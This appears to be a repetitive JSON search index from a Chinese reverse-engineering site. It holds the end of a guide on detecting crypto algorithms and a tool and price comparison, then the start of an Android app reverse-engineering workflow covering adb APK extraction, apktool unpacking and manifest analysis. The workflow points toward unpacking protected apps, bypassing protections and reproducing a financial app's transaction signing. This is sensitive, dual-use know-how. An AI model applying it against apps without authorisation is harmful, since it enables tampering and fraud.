","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:7:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#浏览器插件检测"},{"categories":null,"collections":null,"content":"Node.js 静态分析 const fs = require(\"fs\"); const detector = new CryptoDetector(); const code = fs.readFileSync(\"target.js\", \"utf-8\"); const algorithms = detector.detectAlgorithmsInCode(code); console.log(\"检测到的算法:\", algorithms); ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:7:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#nodejs-静态分析"},{"categories":null,"collections":null,"content":"最佳实践 多层检测: 结合全局对象扫描、代码特征匹配、常量识别 动态 Hook: 优先使用 Hook 脚本捕获运行时调用 静态分析: 对混淆代码先反混淆再检测 交叉验证: 通过输入输出特征验证算法识别结果 保存证据: 记录完整的加密参数（密钥、IV、模式等） ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:8:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#最佳实践"},{"categories":null,"collections":null,"content":"相关工具 工具 功能 链接 hash-identifier 哈希类型识别 https://github.com/blackploit/hash-identifier CyberChef 综合加密分析 https://gchq.github.io/CyberChef/ Ciphey 自动解密工具 https://github.com/Ciphey/Ciphey findcrypt IDA 插件，查找加密常量 https://github.com/you0708/ida/tree/master/idapython_tools/findcrypt ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:9:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#相关工具"},{"categories":null,"collections":null,"content":"商业化解决方案对比 在企业级 Web 逆向项目中，除了开源工具，还有多种商业化解决方案可选。以下是专业工具和服务的详细对比。 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#商业化解决方案对比"},{"categories":null,"collections":null,"content":"1. 商业加密分析工具 IDA Pro + Hex-Rays (Binary Analysis) 适用场景: 深度二进制分析、WASM 逆向、复杂加密算法识别 优势: 业界标准的反汇编工具 强大的 F5 反编译功能 丰富的插件生态（findcrypt、IDAScope） 支持多种架构（x86、ARM、MIPS、WASM） 劣势: 价格昂贵（个人版 $385，专业版 $1,879+） 学习曲线陡峭 主要针对二进制，JavaScript 分析需配合其他工具 官网: https://hex-rays.com/ida-pro/ 替代方案: Ghidra（免费，NSA 开源）、Binary Ninja JEB Decompiler 适用场景: Android/JavaScript 混合逆向、DEX 分析 优势: 优秀的 Android DEX 反编译 支持 JavaScript/TypeScript 分析 交互式反混淆 内置调试器 价格: 个人版 $99/月，专业版 $249/月 官网: https://www.pnfsoftware.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#1-商业加密分析工具"},{"categories":null,"collections":null,"content":"1. 商业加密分析工具 IDA Pro + Hex-Rays (Binary Analysis) 适用场景: 深度二进制分析、WASM 逆向、复杂加密算法识别 优势: 业界标准的反汇编工具 强大的 F5 反编译功能 丰富的插件生态（findcrypt、IDAScope） 支持多种架构（x86、ARM、MIPS、WASM） 劣势: 价格昂贵（个人版 $385，专业版 $1,879+） 学习曲线陡峭 主要针对二进制，JavaScript 分析需配合其他工具 官网: https://hex-rays.com/ida-pro/ 替代方案: Ghidra（免费，NSA 开源）、Binary Ninja JEB Decompiler 适用场景: Android/JavaScript 混合逆向、DEX 分析 优势: 优秀的 Android DEX 反编译 支持 JavaScript/TypeScript 分析 交互式反混淆 内置调试器 价格: 个人版 $99/月，专业版 $249/月 官网: https://www.pnfsoftware.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#ida-pro--hex-rays-binary-analysis"},{"categories":null,"collections":null,"content":"1. 商业加密分析工具 IDA Pro + Hex-Rays (Binary Analysis) 适用场景: 深度二进制分析、WASM 逆向、复杂加密算法识别 优势: 业界标准的反汇编工具 强大的 F5 反编译功能 丰富的插件生态（findcrypt、IDAScope） 支持多种架构（x86、ARM、MIPS、WASM） 劣势: 价格昂贵（个人版 $385，专业版 $1,879+） 学习曲线陡峭 主要针对二进制，JavaScript 分析需配合其他工具 官网: https://hex-rays.com/ida-pro/ 替代方案: Ghidra（免费，NSA 开源）、Binary Ninja JEB Decompiler 适用场景: Android/JavaScript 混合逆向、DEX 分析 优势: 优秀的 Android DEX 反编译 支持 JavaScript/TypeScript 分析 交互式反混淆 内置调试器 价格: 个人版 $99/月，专业版 $249/月 官网: https://www.pnfsoftware.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:1","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#jeb-decompiler"},{"categories":null,"collections":null,"content":"2. 商业加密识别服务 Detect It Easy (DiE) 类型: 免费工具（商业级质量） 功能: 自动识别 PE/ELF/Mach-O 文件中的加密算法 检测加壳/混淆技术 签名数据库持续更新 适用于: Windows/Linux 二进制分析 GitHub: https://github.com/horsicq/Detect-It-Easy Fortify Static Code Analyzer 类型: 企业级静态代码分析 功能: 自动检测代码中的加密弱点 识别不安全的加密实现 合规性检查（OWASP、PCI DSS） 价格: 企业定价（年费 $50,000+） 官网: https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer 开源替代: Semgrep、SonarQube ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#2-商业加密识别服务"},{"categories":null,"collections":null,"content":"2. 商业加密识别服务 Detect It Easy (DiE) 类型: 免费工具（商业级质量） 功能: 自动识别 PE/ELF/Mach-O 文件中的加密算法 检测加壳/混淆技术 签名数据库持续更新 适用于: Windows/Linux 二进制分析 GitHub: https://github.com/horsicq/Detect-It-Easy Fortify Static Code Analyzer 类型: 企业级静态代码分析 功能: 自动检测代码中的加密弱点 识别不安全的加密实现 合规性检查（OWASP、PCI DSS） 价格: 企业定价（年费 $50,000+） 官网: https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer 开源替代: Semgrep、SonarQube ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#detect-it-easy-die"},{"categories":null,"collections":null,"content":"2. 商业加密识别服务 Detect It Easy (DiE) 类型: 免费工具（商业级质量） 功能: 自动识别 PE/ELF/Mach-O 文件中的加密算法 检测加壳/混淆技术 签名数据库持续更新 适用于: Windows/Linux 二进制分析 GitHub: https://github.com/horsicq/Detect-It-Easy Fortify Static Code Analyzer 类型: 企业级静态代码分析 功能: 自动检测代码中的加密弱点 识别不安全的加密实现 合规性检查（OWASP、PCI DSS） 价格: 企业定价（年费 $50,000+） 官网: https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer 开源替代: Semgrep、SonarQube ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:2","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#fortify-static-code-analyzer"},{"categories":null,"collections":null,"content":"3. 云端加密分析平台 VirusTotal Intelligence 功能: 自动识别恶意软件中的加密算法 大规模样本库交叉分析 API 接口集成 价格: 免费版：有限查询 高级版：$500/月起 官网: https://www.virustotal.com/ 应用: 样本快速分析、加密特征库查询 Hybrid Analysis 功能: 沙箱动态分析 自动提取加密密钥 网络流量解密 价格: 免费社区版 企业版：定制化定价 官网: https://www.hybrid-analysis.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:3","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#3-云端加密分析平台"},{"categories":null,"collections":null,"content":"3. 云端加密分析平台 VirusTotal Intelligence 功能: 自动识别恶意软件中的加密算法 大规模样本库交叉分析 API 接口集成 价格: 免费版：有限查询 高级版：$500/月起 官网: https://www.virustotal.com/ 应用: 样本快速分析、加密特征库查询 Hybrid Analysis 功能: 沙箱动态分析 自动提取加密密钥 网络流量解密 价格: 免费社区版 企业版：定制化定价 官网: https://www.hybrid-analysis.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:3","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#virustotal-intelligence"},{"categories":null,"collections":null,"content":"3. 云端加密分析平台 VirusTotal Intelligence 功能: 自动识别恶意软件中的加密算法 大规模样本库交叉分析 API 接口集成 价格: 免费版：有限查询 高级版：$500/月起 官网: https://www.virustotal.com/ 应用: 样本快速分析、加密特征库查询 Hybrid Analysis 功能: 沙箱动态分析 自动提取加密密钥 网络流量解密 价格: 免费社区版 企业版：定制化定价 官网: https://www.hybrid-analysis.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:3","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#hybrid-analysis"},{"categories":null,"collections":null,"content":"4. 专业咨询服务 Trail of Bits (安全咨询) 服务内容: 定制化加密算法逆向 智能合约审计 协议分析 典型项目: $20,000 - $200,000 官网: https://www.trailofbits.com/ NCC Group (Cryptography Services) 服务内容: 加密协议设计审查 密码学实现审计 侧信道攻击测试 官网: https://www.nccgroup.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:4","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#4-专业咨询服务"},{"categories":null,"collections":null,"content":"4. 专业咨询服务 Trail of Bits (安全咨询) 服务内容: 定制化加密算法逆向 智能合约审计 协议分析 典型项目: $20,000 - $200,000 官网: https://www.trailofbits.com/ NCC Group (Cryptography Services) 服务内容: 加密协议设计审查 密码学实现审计 侧信道攻击测试 官网: https://www.nccgroup.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:4","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#trail-of-bits-安全咨询"},{"categories":null,"collections":null,"content":"4. 专业咨询服务 Trail of Bits (安全咨询) 服务内容: 定制化加密算法逆向 智能合约审计 协议分析 典型项目: $20,000 - $200,000 官网: https://www.trailofbits.com/ NCC Group (Cryptography Services) 服务内容: 加密协议设计审查 密码学实现审计 侧信道攻击测试 官网: https://www.nccgroup.com/ ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:4","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#ncc-group-cryptography-services"},{"categories":null,"collections":null,"content":"5. 开源 vs 商业方案对比 维度 开源方案 商业方案 成本 免费 $100/月 - $50,000/年+ 学习曲线 中等 较低（有支持） 功能完整性 基础-中等 高级-企业级 更新频率 社区驱动 定期更新 + 技术支持 适用规模 个人-小团队 中大型企业 法律合规 需自行审查 提供合规保证 技术支持 社区论坛 7x24 专业支持 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:5","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#5-开源-vs-商业方案对比"},{"categories":null,"collections":null,"content":"6. 推荐技术选型 个人学习/小团队 方案: CyberChef（在线分析） Ciphey（自动解密） 自建检测脚本 成本: $0 初创公司/中小企业 方案: JEB Decompiler（$99-249/月） VirusTotal Intelligence（$500/月） 开源工具 + 商业工具组合 成本: $1,000-3,000/月 大型企业/安全公司 方案: IDA Pro 团队许可 Fortify/Checkmarx 企业版 专业咨询服务（按需） 成本: $50,000-200,000/年 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:6","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#6-推荐技术选型"},{"categories":null,"collections":null,"content":"6. 推荐技术选型 个人学习/小团队 方案: CyberChef（在线分析） Ciphey（自动解密） 自建检测脚本 成本: $0 初创公司/中小企业 方案: JEB Decompiler（$99-249/月） VirusTotal Intelligence（$500/月） 开源工具 + 商业工具组合 成本: $1,000-3,000/月 大型企业/安全公司 方案: IDA Pro 团队许可 Fortify/Checkmarx 企业版 专业咨询服务（按需） 成本: $50,000-200,000/年 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:6","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#个人学习小团队"},{"categories":null,"collections":null,"content":"6. 推荐技术选型 个人学习/小团队 方案: CyberChef（在线分析） Ciphey（自动解密） 自建检测脚本 成本: $0 初创公司/中小企业 方案: JEB Decompiler（$99-249/月） VirusTotal Intelligence（$500/月） 开源工具 + 商业工具组合 成本: $1,000-3,000/月 大型企业/安全公司 方案: IDA Pro 团队许可 Fortify/Checkmarx 企业版 专业咨询服务（按需） 成本: $50,000-200,000/年 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:6","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#初创公司中小企业"},{"categories":null,"collections":null,"content":"6. 推荐技术选型 个人学习/小团队 方案: CyberChef（在线分析） Ciphey（自动解密） 自建检测脚本 成本: $0 初创公司/中小企业 方案: JEB Decompiler（$99-249/月） VirusTotal Intelligence（$500/月） 开源工具 + 商业工具组合 成本: $1,000-3,000/月 大型企业/安全公司 方案: IDA Pro 团队许可 Fortify/Checkmarx 企业版 专业咨询服务（按需） 成本: $50,000-200,000/年 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:6","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#大型企业安全公司"},{"categories":null,"collections":null,"content":"7. 新兴趋势：AI 驱动的加密分析 Anthropic Claude/OpenAI GPT (LLM 辅助) 应用场景: 代码片段快速分析 加密算法识别辅助 伪代码生成 局限性: 无法处理大规模代码 可能产生误判 不适合保密项目 成本: API 调用费用（$0.01-0.06/1K tokens） Zerocopter AI Code Analysis 功能: AI 驱动的漏洞检测 自动识别加密弱点 智能推荐修复方案 状态: 测试阶段 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:7","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#7-新兴趋势ai-驱动的加密分析"},{"categories":null,"collections":null,"content":"7. 新兴趋势：AI 驱动的加密分析 Anthropic Claude/OpenAI GPT (LLM 辅助) 应用场景: 代码片段快速分析 加密算法识别辅助 伪代码生成 局限性: 无法处理大规模代码 可能产生误判 不适合保密项目 成本: API 调用费用（$0.01-0.06/1K tokens） Zerocopter AI Code Analysis 功能: AI 驱动的漏洞检测 自动识别加密弱点 智能推荐修复方案 状态: 测试阶段 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:7","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#anthropic-claudeopenai-gpt-llm-辅助"},{"categories":null,"collections":null,"content":"7. 新兴趋势：AI 驱动的加密分析 Anthropic Claude/OpenAI GPT (LLM 辅助) 应用场景: 代码片段快速分析 加密算法识别辅助 伪代码生成 局限性: 无法处理大规模代码 可能产生误判 不适合保密项目 成本: API 调用费用（$0.01-0.06/1K tokens） Zerocopter AI Code Analysis 功能: AI 驱动的漏洞检测 自动识别加密弱点 智能推荐修复方案 状态: 测试阶段 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:7","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#zerocopter-ai-code-analysis"},{"categories":null,"collections":null,"content":"8. 实际案例对比 案例: 某金融 APP 加密逆向 需求: 识别并复现交易签名算法 方案 A（开源）: 工具: Frida + 自写 Hook 脚本 时间: 3-5 天 成本: $0 风险: 需要专业技能 方案 B（商业）: 工具: JEB Decompiler + Trail of Bits 咨询 时间: 1-2 天 成本: $5,000-15,000 风险: 低，有专业保障 结论: 紧急项目或缺乏经验时，商业方案 ROI 更高 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:8","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#8-实际案例对比"},{"categories":null,"collections":null,"content":"8. 实际案例对比 案例: 某金融 APP 加密逆向 需求: 识别并复现交易签名算法 方案 A（开源）: 工具: Frida + 自写 Hook 脚本 时间: 3-5 天 成本: $0 风险: 需要专业技能 方案 B（商业）: 工具: JEB Decompiler + Trail of Bits 咨询 时间: 1-2 天 成本: $5,000-15,000 风险: 低，有专业保障 结论: 紧急项目或缺乏经验时，商业方案 ROI 更高 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:10:8","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#案例-某金融-app-加密逆向"},{"categories":null,"collections":null,"content":"相关章节 JavaScript Hook 脚本 调试技巧与断点设置 常见加密算法分析 ","date":"2024-11-19","objectID":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/:11:0","tags":["Web","RSA","签名验证","Frida","WebAssembly","Ghidra"],"title":"加密算法识别与检测脚本","uri":"/reverse_engineering/web/07-scripts/crypto_detection_scripts/#相关章节"},{"categories":null,"collections":null,"content":"Android 应用逆向工程完整工作流程 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： APK 结构解析 - 理解 APK 的基本组成 Android 四大组件 - 理解 Activity、Service 等概念 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:0:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#android-应用逆向工程完整工作流程"},{"categories":null,"collections":null,"content":"问题场景 你刚拿到一个 Android 应用需要分析，但面临以下挑战： “拿到 APK 后应该先做什么？从哪里入手？” “静态分析和动态分析应该如何配合？” “如何系统化地分析，而不是盲目尝试？” “遇到加固、混淆、反调试该怎么办？” “分析完成后如何修改应用以达到目的？” 本配方提供一个经过实战验证的标准化工作流程，帮助你系统化地完成从信息收集到代码修改的整个逆向工程过程。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:1:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:2:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#工具清单"},{"categories":null,"collections":null,"content":"必备工具 项目 说明 APK 提取 ADB + Package Manager 解包/回包 Apktool 反编译工具 Jadx-GUI（推荐）或 JEB 动态分析 Frida + Frida-tools Root 设备/模拟器 Genymotion、夜神、雷电等 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:2:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#必备工具"},{"categories":null,"collections":null,"content":"可选工具 项目 说明 Native 分析 IDA Pro / Ghidra / Binary Ninja 网络抓包 mitmproxy / Burp Suite / Charles 调试器 Android Studio / jdb 签名工具 apksigner（Android SDK 自带） 加壳检测 PKid / ApkTool-Plus ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:2:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#可选工具"},{"categories":null,"collections":null,"content":"前置知识 了解 Android 基本架构（四大组件、Manifest 文件） 掌握基本 Java/Smali 语法 熟悉 ADB 命令 拥有 Root 设备（动态分析必需） ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:3:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#前置知识"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:4:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#解决方案"},{"categories":null,"collections":null,"content":"核心原则 由外到内、由浅入深、静动结合 信息侦察 → 了解应用基本信息和技术栈 静态分析 → 理解代码逻辑和算法 动态验证 → 观察实际行为、绕过保护 代码修改 → 实现永久性改动 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:4:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#核心原则"},{"categories":null,"collections":null,"content":"阶段一：信息收集与初步分析（15-30 分钟） 目标：在不运行应用的情况下，快速了解基本信息、功能和潜在入口点。 ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:0","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#阶段一信息收集与初步分析15-30-分钟"},{"categories":null,"collections":null,"content":"步骤 1：获取 APK 文件 方法 A：从已安装应用提取 # 1. 列出所有包名 adb shell pm list packages | grep \u003c关键词\u003e # 示例：查找音乐应用 adb shell pm list packages | grep music # 输出：package:com.example.musicapp # 2. 获取 APK 路径 adb shell pm path com.example.musicapp # 输出：package:/data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk # 3. 拉取到本地 adb pull /data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk ./target.apk 一键脚本（保存为 pull-apk.sh） #!/bin/bash PACKAGE=$1 APK_PATH=$(adb shell pm path $PACKAGE | cut -d: -f2 | tr -d '\\r') adb pull $APK_PATH ./$PACKAGE.apk echo \"[+] APK 已保存: $PACKAGE.apk\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-1获取-apk-文件"},{"categories":null,"collections":null,"content":"步骤 1：获取 APK 文件 方法 A：从已安装应用提取 # 1. 列出所有包名 adb shell pm list packages | grep \u003c关键词\u003e # 示例：查找音乐应用 adb shell pm list packages | grep music # 输出：package:com.example.musicapp # 2. 获取 APK 路径 adb shell pm path com.example.musicapp # 输出：package:/data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk # 3. 拉取到本地 adb pull /data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk ./target.apk 一键脚本（保存为 pull-apk.sh） #!/bin/bash PACKAGE=$1 APK_PATH=$(adb shell pm path $PACKAGE | cut -d: -f2 | tr -d '\\r') adb pull $APK_PATH ./$PACKAGE.apk echo \"[+] APK 已保存: $PACKAGE.apk\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#方法-a从已安装应用提取"},{"categories":null,"collections":null,"content":"步骤 1：获取 APK 文件 方法 A：从已安装应用提取 # 1. 列出所有包名 adb shell pm list packages | grep \u003c关键词\u003e # 示例：查找音乐应用 adb shell pm list packages | grep music # 输出：package:com.example.musicapp # 2. 获取 APK 路径 adb shell pm path com.example.musicapp # 输出：package:/data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk # 3. 拉取到本地 adb pull /data/app/~~ABC123/com.example.musicapp-XYZ456/base.apk ./target.apk 一键脚本（保存为 pull-apk.sh） #!/bin/bash PACKAGE=$1 APK_PATH=$(adb shell pm path $PACKAGE | cut -d: -f2 | tr -d '\\r') adb pull $APK_PATH ./$PACKAGE.apk echo \"[+] APK 已保存: $PACKAGE.apk\" ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:1","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#一键脚本保存为-pull-apksh"},{"categories":null,"collections":null,"content":"步骤 2：解包 APK # 使用 Apktool（推荐 - 解码资源和 Smali） apktool d target.apk -o target_unpacked # 输出目录结构： # target_unpacked/ # ├── AndroidManifest.xml (已解码) # ├── apktool.yml # ├── smali/ (Dalvik 字节码) # ├── smali_classes2/ (多个 DEX) # ├── res/ (资源文件) # ├── lib/ (native 库) # ├── assets/ (资产文件) # └── original/ # 快速查看（不解码） unzip -l target.apk unzip target.apk -d target_quick ","date":"2024-11-10","objectID":"/reverse_engineering/android/01-recipes/analysis/re_workflow/:5:2","tags":["RSA","加密分析","Hook","DEX","反混淆","IDA Pro"],"title":"Android 应用逆向工程完整工作流程","uri":"/reverse_engineering/android/01-recipes/analysis/re_workflow/#步骤-2解包-apk"},{"categories":null,"collections":null,"content":"步骤 3：分析 AndroidManifest.xml # 查看已解码的 manifest cat target_unpacked/AndroidManifest.xml # 或使用工具美化 xmllint --format target_unpacked/AndroidManifest.xml 关键信息提取表： 信息项 位置 意义 包名 \u003cmanifest package=\"...\"\u003e 应用唯一标识 入口 Activity \u003cactivity\u003e 带 LAUNCHER intent 应用启动入口 Application 类 \u003capplication android:name=\"...\"\u003e 自定义 Application（可能有初始化逻辑） 权限 \u003cuses-permission\u003e 推断功能（网络、存储、位置等） 调试标志 android:debuggable=\"true\" 可直接调试 备份标志 android:allowBackup=\"true\" 数据可导出 导出组件 android:exported=\"true\" 可被外部调用 URL Scheme \u003cintent-filter\u003e 带 \u003cdata\u003e Deep link 入口点 ContentProvider \u003cprovider\u003e 数据库接口 Service \u003cservice\u003e 后台服务 真实案例：分析腾讯乐固应用 💡 思路一句话: 先判断加固类型（看 lib 目录和 Application 入口）→ 脱壳获取原始 DEX → jadx 反编译分析业务逻辑 → Frida hook 验证关键方法。 \u003capplication android:name=\"com.tencent.StubShell.TxAppEntry\" \u003c!-- 加壳特征 --\u003e android:debuggable=\"false\" android:allowBackup=\"false\"\u003e \u003cactivity android:name=\".MainActivity\" android:exported=\"true\"\u003e \u003c!-- 可外部启动 --\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\"/\u003e \u003ccategory android:name=\"android.intent.category.LAUNCHER\"/\u003e \u003c/intent-filter\u003e \u003c!-- 自定义 URL Scheme --\u003e 